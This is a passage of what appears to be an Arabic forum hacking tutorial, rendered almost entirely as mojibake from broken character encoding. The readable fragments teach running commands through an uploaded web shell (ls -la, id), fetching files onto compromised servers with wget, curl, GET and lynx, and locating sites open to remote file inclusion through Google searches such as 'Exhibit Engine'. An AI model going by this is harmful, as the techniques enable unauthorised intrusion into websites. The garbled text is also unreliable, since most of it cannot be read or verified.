‫‪:‬ه‪%X /‬رة *‪ .. <L‬وا‪ T‬ه‪1‬ا ا‪ <L‬ه‪r57 %‬‬

‫!ب‬3 ,JU ‫< ا‬L‫]\ ا‬$ ‫ا‬1‫وه‬

!]X;‫ن ا‬%* cd%(‫ون ا‬/‫ه‬L+ (‫آ‬

!=!‫ان ا‬%J? %‫]! ه‬X;‫ن ا‬%* cd%(‫ ا‬-1

Linux %‫"م ا!=! وه‬$ ‫ع‬%$ -2

<D]3 ‫ درس‬b CDEB ‫ف‬%T .. !=!‫ ا‬S*? >+jX -3

:,8(‫ ;ه‬4 ! <D]3 cd%+

/http://www.tryag.com K%(‫ ا‬T‫ا ا‬1‫ ان ه‬%

!3‫ ا;وا‬6A8$ ‫ن‬%UT J‫ه‬

. 01]J+ /B!+ ‫ي‬1‫! ا‬3;‫@ ا‬8U+ J‫ ه‬: Run command

TikiWiki /A3 #= a.php TN 3 ‫ف‬1j $‫ أرد‬% @Q

*(‫ف ا‬1j !3‫ ا]!اغ ا;ول أ‬#= @8U$

‫رس ا;ول‬/‫ ا‬Sb8$‫ ا‬J‫ ه‬S‫ا‬

(( ‫ـــ‬U‫ د?ـــــــ‬c‫ـــــــــ‬X )‫ــ‬3 $%J‫ــــ‬+ ))

‫‪ #‬ا&رس ا‪# (t‬‬

‫‪/= 3‬ة اوا‪ !3‬ا‪\UJ‬؟‬

‫=‪D8&N b+/‬ر ‪ Ko8+‬ا;&‪!8‬اق أو ا‪/ U8‬و‪.. b$‬‬

‫‪ 6=!3 /‬ا;وا‪ !3‬ا‪ @8U+ )B‬و‪ )3‬ا&‪ 01b @Q‬ا;وا‪!3‬؟‬

‫‪ <U:‬ا;‪ 6jT #= !3‬ا!ض‬

‫‪ <U:‬ا;‪ 6jT #= !3‬ا!ض‬

‫‪ <U:‬ا;‪ 6jT #= !3‬ا!ض‬

‫ ا!ض‬6jT #= !3;‫< ا‬U:

‫ ا!ض‬6jT #= !3;‫< ا‬U:

‫ ا!ض‬6jT #= !3;‫< ا‬U:

‫ ا!ض‬6jT #= !3;‫< ا‬U:

id ‫ و‬ls -la #‫رة ه‬%D‫ ا‬#= 67Po(‫) ا‬B!3;‫ا‬

wget :K=!‫! ا‬3‫أ‬

curl :K=!‫! ا‬3‫أ‬

GET :K=!‫! ا‬3‫أ‬

lynx :K=!‫! ا‬3‫أ‬

!3‫ ا;وا‬01‫!ح ه‬o #]8U$

6‫ر‬E‫! ا‬3‫ ا;وا‬O ‫!ح‬QNT‫و‬

‫ت‬3%(‫ ا‬K(A $/]+ 6J3 ‫اف‬/‫ن ;ه‬%U+ 6‫ر‬E‫! ا‬3‫@ ا;وا‬°‫وا‬

6=L8‫> اآ‬JU(B /B(‫ ا‬/%B‫! و‬3‫) ا;وا‬3 6?%(A(‫ي ا‬1b #]8U$

bJ? ªP‫! وا‬3‫ ا;وا‬Po+ #= B!(8T‫اذا ا‬

((‫ب‬8U‫ت ا‬7=!3 K3 0/A+ ))

(‫رس‬/‫ى ا‬%83) #= ‫]ر‬8T‫اي ا‬

#$I‫رس ا‬/‫ ا‬Sb8$‫ا‬

(( U?‫ د‬cX )3 $%J+ ))

6%]3 ‫ق‬%7‫ ا‬K(

12:54 ,‫!ي‬A‫ه‬1427 ‫ال‬%: 30 ¡B‫ر‬8‫ا‬

# ªI‫رس ا‬/‫ ا‬#

:ªI‫ ا‬JT‫ن در‬%UT‫و‬

(#‫ا‬%L‫!اق ا‬8&;‫< )ا‬L‫ ا‬K=‫ ور‬0/B/A‫!ات ا‬rI‫ ?) ا‬ªP‫ا‬

ً‫ا‬/ ‫ــ!ة‬o‫!ات &ــ‬rI‫) ا‬3 6?%J‫ي ا‬1‫وه‬

>]J 6!A+ #*(? Po+ K3 )+!rI‫ ا‬6?%$ <(? ,7B!Q cd%$

-| S*?; ‫ي‬1‫!ح ا!ا ا‬L$ |-

/http://www.google.com :6"‫ ا‬K%3

(r-f-i) TN ‫ت‬7=!(‫ ا‬#= %B/] KB!T ‫!ح‬: /%B

(‫ب‬8U‫ت ا‬7=!3 K3 0/A+)

6$I‫ ا‬6?%J‫ ا‬3‫ا‬

/http://www.google.com :6"‫ ا‬K%3

.. ‫ر‬%*P‫ ا;آ‬c]D83 #= ًI3 @+!3 <UL bd!‫و‬

!3‫@ ا;وا‬8U$ J*3 <I3 id ‫ن‬U3 ًPQ

(‫ب‬8U‫ت ا‬7=!3 K3 0/A+)

‫ت‬%(B!‫!ات ا‬r <(? ,7B!Q J=!?3 /

K‫ا‬%(‫!ات ا‬r ‫ث‬/j‫ ا‬K8$ ‫ راح‬K%(‫ا ا‬1‫) ه‬3

Exhibit Engin :!U‫ ا‬T‫ا‬

‫ ا&!ى‬S‫!ة ا‬r )3 8E+‫ و‬6o ‫ت‬oD3 6]D‫ا&< ا‬/ /%B‫و‬

‫!ة‬rI‫(ر ا‬I8T‫ ا‬S? ‫ل‬/+ #8‫ت ا‬oD(‫ا‬

:%‫!ة ه‬rI ‫(ر‬I8T;‫ ان ا‬b]$ ‫ل‬%Q S? ً‫اذا‬